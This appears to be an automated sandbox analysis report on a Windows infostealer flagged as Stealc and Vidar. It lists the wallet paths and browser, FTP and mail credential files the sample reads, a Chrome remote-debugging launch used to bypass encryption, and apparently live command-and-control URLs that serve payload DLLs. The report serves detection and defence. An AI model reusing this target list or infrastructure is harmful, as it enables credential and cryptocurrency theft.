Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000001.00000002.2726494046.0000000000C6C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2726494046.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2207422987.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	42%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exe:	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe50623847d	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exe~	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpIc	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpQc	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dllN	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe506238n	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/freebl3.dllhJ	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllP	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dll4J	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dlly	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dllLJ	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dll2	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.66	true	false	high
www.google.com	142.250.181.68	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732403218705&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360172428_1P64HZ8YIC3KIBFKY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360433144_1RLNQD8OFQA9LQ1KZ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732403219703&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://c.msn.com/c.gif?rnd=1732403212055&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0bc75008eae841bf87e2b4c046ac6e18&activityId=0bc75008eae841bf87e2b4c046ac6e18&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
